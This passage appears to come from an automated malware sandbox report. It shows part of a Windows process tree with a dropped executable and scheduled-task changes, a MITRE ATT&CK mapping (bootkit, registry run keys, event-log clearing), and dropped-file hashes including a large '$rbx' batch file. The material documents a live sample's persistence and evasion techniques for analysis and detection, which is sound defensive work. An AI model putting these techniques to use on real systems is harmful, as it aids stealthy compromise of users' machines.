      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1540 -s 2616
        6⤵
        
        PID:4376
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
        6⤵
        
        PID:4404
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4388
- C:\Windows\$nya-onimai2\VQvmww.exe
  "C:\Windows\$nya-onimai2\VQvmww.exe"
  2⤵
  - Executes dropped EXE
  PID:532
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3564

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3740

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3904

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4112

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1996

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4164

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2340

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3468

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:3444

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 2e064d9c6ccd6bbd6cdf9715117bb9b9 pImRYbmlGUyykuyvnoDFTQ.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:3324
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:3348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:5044

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
PID:1056

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:3108

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:1640

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:2552
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 464 -p 4176 -ip 4176
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:512
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 256 -p 1540 -ip 1540
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:4924
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 560 -p 1540 -ip 1540
  2⤵
  PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:3352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6C34.tmp.csv

Filesize
38KB

MD5
b6adcddaa5707d5e205238c671092a30

SHA1
f51f5f01d554cf08678873892ecbe7e085fb3ada

SHA256
b4d31adc06ee106be003c5b40dae7e073650e84aa14079eb265ff16313e5c832

SHA512
ff197ca1eb0d5454c5d3457e9298a3fe84253dee64e96b1e92d7139c1d62b9c927d8b186fab22a14f895a5fe754c98a5c6733d3029e8ef17610e190a9a5e2045

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WER6C54.tmp.txt

Filesize
13KB

MD5
7809c9499bc21c0fa983397ef83868ea

SHA1
42184267d7e380b6fd83970324de78befde85fe9

SHA256
2084bea83bae95fc9e50df6c6de92035346fb89c34ef850a67e94a05d87235b0

SHA512
29da331a51b1c7682509048863e606bb072a6171fcbaf1769d7f93e6cc019b8ee8e14820e6098e7b0783df015c7f8076a982e834319717dc91d0b9dea5119251

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF4FF.tmp.csv

Filesize
38KB

MD5
eb39e6983314c9fc0ff5993c3934e36a

SHA1
c00fd754b042988d9f565ca6ba3df6923b021d95

SHA256
75f3f9e8832148e97bf446bde18a299c2904293bf5fdf56785dfa9df21e0933e

SHA512
8e3fca03f9d0fa870525ecf300338572d68d19403485d09939ac69394b98b04308b85c6eb1c5ff17e967466c0280010e23866212148a46887a2b04fffee4ab0f

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF54E.tmp.txt

Filesize
13KB

MD5
9a70beb050dd46b2dc0364328132b498

SHA1
a60d5274590ef8979c4696a8b75fb2c3efb425d1

SHA256
055fa95a41aeb0cee56e61d7274bedca060f09f85d67183947c1ef4c6c3b2df5

SHA512
b4afa2699519e30c10fe558b6cc7d7156ff5789f2ee8fc472e7dc33aa448d49a8dfc767906543a2ed98291368777fc4f0865992c972e9e8edf3f4ce9c23f88da

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
bb8306e1bcf2e988e16c1aee4383f269

SHA1
3f261ea9b6df59d223f7c61adddc7f6f515e6e4e

SHA256
859eb6128cadf870e8235e87af15e13e6243b84690f641612be03c8dd83c4b98

SHA512
ad95bd6d26de7cea5ddaa4c3d92ced71899be98bac8593fed13b815a25eccd71817300f0cde97d87d3722515691a4a82a7d2d06a832d6181f05ccd73649247d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
3KB

MD5
76a18ac328480a11da294618d5d31ffd

SHA1
0224f6c541f3e833a9bbe76184ec4b2b5487fe62

SHA256
e0ed940dd5e72400cd69d53a59216af270adbfd107742485db35b4623ed710e6

SHA512
f73d3ec83eff892ca425cc7cacf2e06f77b0edd24a8b5fa4e8ff02349a9653553884e3ee41c650bc17598392da08a8e230eadf129dcac4e0ea1e19d01ac84bbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1hol1oj4.zg1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$nya-onimai2\VQvmww.exe

Filesize
36KB

MD5
b943a57bdf1bbd9c33ab0d33ff885983

SHA1
1cee65eea1ab27eae9108c081e18a50678bd5cdc

SHA256
878df6f755578e2e79d0e6fd350f5b4430e0e42bb4bc8757afb97999bc405ba4

SHA512
cb7253de88bd351f8bcb5dc0b5760d3d2875d39f601396a4250e06ead9e7edeffcd94fa23f392833f450c983a246952f2bad3a40f84aff2adc0f7d0eb408d03c

Download Submit
C:\Windows\$rbx-onimai2\$rbx-CO2.bat

Filesize
7.3MB

MD5
1bec1098946595a03fa067a3ef7ce292

SHA1
89cfb4a2f8800f1b944d906d959639907672317d

SHA256
a8f184a333fb89f41ddca323472463b4ee2cbed63d26d105823300148e2015cb

SHA512
dc7e73ed353d50b73a0eb6f1d955812a29fc5e05df300487d1eda49cc78e6748929a17cd59b58148f7e8696fd0fdfd21e8269af6788f1037bda6d8ddf30c6082

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/60-78-0x0000025994620000-0x000002599464A000-memory.dmp

Filesize
168KB

Download
memory/532-2984-0x0000018F32F00000-0x0000018F32F0E000-memory.dmp

Filesize
56KB

Download
memory/612-31-0x0000017B91B40000-0x0000017B91B64000-memory.dmp

Filesize
144KB

Download
memory/612-32-0x0000017B91B70000-0x0000017B91B9A000-memory.dmp

Filesize
168KB

Download
memory/612-44-0x0000017B91B70000-0x0000017B91B9A000-memory.dmp

Filesize
168KB

Download
memory/612-43-0x00007FFCB7890000-0x00007FFCB78A0000-memory.dmp

Filesize
64KB

Download
memory/612-33-0x0000017B91B70000-0x0000017B91B9A000-memory.dmp

Filesize
168KB

Download
memory/612-42-0x0000017B91B70000-0x0000017B91B9A000-memory.dmp

Filesize
168KB

Download
memory/612-38-0x0000017B91B70000-0x0000017B91B9A000-memory.dmp

Filesize
168KB

Download
memory/612-39-0x0000017B91B70000-0x0000017B91B9A000-memory.dmp

Filesize
168KB

Download
memory/612-40-0x0000017B91B70000-0x0000017B91B9A000-memory.dmp

Filesize
168KB

Download
memory/612-41-0x0000017B91B70000-0x0000017B91B9A000-memory.dmp

Filesize
168KB

Download
memory/668-56-0x0000026DF6A30000-0x0000026DF6A5A000-memory.dmp

Filesize
168KB

Download
memory/668-53-0x0000026DF6A30000-0x0000026DF6A5A000-memory.dmp

Filesize
168KB

Download
memory/668-59-0x0000026DF6A30000-0x0000026DF6A5A000-memory.dmp

Filesize
168KB

Download
memory/668-48-0x0000026DF6A30000-0x0000026DF6A5A000-memory.dmp

Filesize
168KB

Download
memory/668-58-0x00007FFCB7890000-0x00007FFCB78A0000-memory.dmp

Filesize
64KB

Download
memory/668-57-0x0000026DF6A30000-0x0000026DF6A5A000-memory.dmp

Filesize
168KB

Download
memory/668-54-0x0000026DF6A30000-0x0000026DF6A5A000-memory.dmp

Filesize
168KB

Download
memory/668-55-0x0000026DF6A30000-0x0000026DF6A5A000-memory.dmp

Filesize
168KB

Download
memory/948-69-0x000001BCAE5D0000-0x000001BCAE5FA000-memory.dmp

Filesize
168KB

Download
memory/948-63-0x000001BCAE5D0000-0x000001BCAE5FA000-memory.dmp

Filesize
168KB

Download
memory/948-70-0x000001BCAE5D0000-0x000001BCAE5FA000-memory.dmp

Filesize
168KB

Download
memory/948-71-0x000001BCAE5D0000-0x000001BCAE5FA000-memory.dmp

Filesize
168KB

Download
memory/948-72-0x000001BCAE5D0000-0x000001BCAE5FA000-memory.dmp

Filesize
168KB

Download
memory/948-73-0x00007FFCB7890000-0x00007FFCB78A0000-memory.dmp

Filesize
64KB

Download
memory/948-74-0x000001BCAE5D0000-0x000001BCAE5FA000-memory.dmp

Filesize
168KB

Download
memory/948-68-0x000001BCAE5D0000-0x000001BCAE5FA000-memory.dmp

Filesize
168KB

Download
memory/1540-2557-0x000001B900000000-0x000001B9001C2000-memory.dmp

Filesize
1.8MB

Download
memory/1540-2556-0x000001B8FD7F0000-0x000001B8FD8A2000-memory.dmp

Filesize
712KB

Download
memory/1540-2555-0x000001B8FD6E0000-0x000001B8FD730000-memory.dmp

Filesize
320KB

Download
memory/1540-2439-0x000001B8FF580000-0x000001B8FFD04000-memory.dmp

Filesize
7.5MB

Download
memory/4176-15-0x0000025C822F0000-0x0000025C8232A000-memory.dmp

Filesize
232KB

Download
memory/4176-974-0x00007FFCD9413000-0x00007FFCD9415000-memory.dmp

Filesize
8KB

Download
memory/4176-1-0x00007FFCD9410000-0x00007FFCD9ED1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-2-0x00007FFCD9410000-0x00007FFCD9ED1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-0-0x00007FFCD9413000-0x00007FFCD9415000-memory.dmp

Filesize
8KB

Download
memory/4176-706-0x0000025CA2FB0000-0x0000025CA3342000-memory.dmp

Filesize
3.6MB

Download
memory/4176-12-0x0000025CE7000000-0x0000025CE7022000-memory.dmp

Filesize
136KB

Download
memory/4176-13-0x0000025CFF1E0000-0x0000025CFF224000-memory.dmp

Filesize
272KB

Download
memory/4176-17-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/4176-18-0x00007FFCF7010000-0x00007FFCF70CE000-memory.dmp

Filesize
760KB

Download
memory/4176-16-0x0000025CA28A0000-0x0000025CA2CE6000-memory.dmp

Filesize
4.3MB

Download
memory/4176-975-0x00007FFCD9410000-0x00007FFCD9ED1000-memory.dmp

Filesize
10.8MB

Download
memory/4176-14-0x0000025CFF230000-0x0000025CFF2A6000-memory.dmp

Filesize
472KB

Download
memory/4176-1497-0x00007FFCD9410000-0x00007FFCD9ED1000-memory.dmp

Filesize
10.8MB

Download
memory/4588-19-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4588-20-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4588-27-0x00007FFCF7010000-0x00007FFCF70CE000-memory.dmp

Filesize
760KB

Download
memory/4588-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4588-28-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4588-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4588-25-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4588-26-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download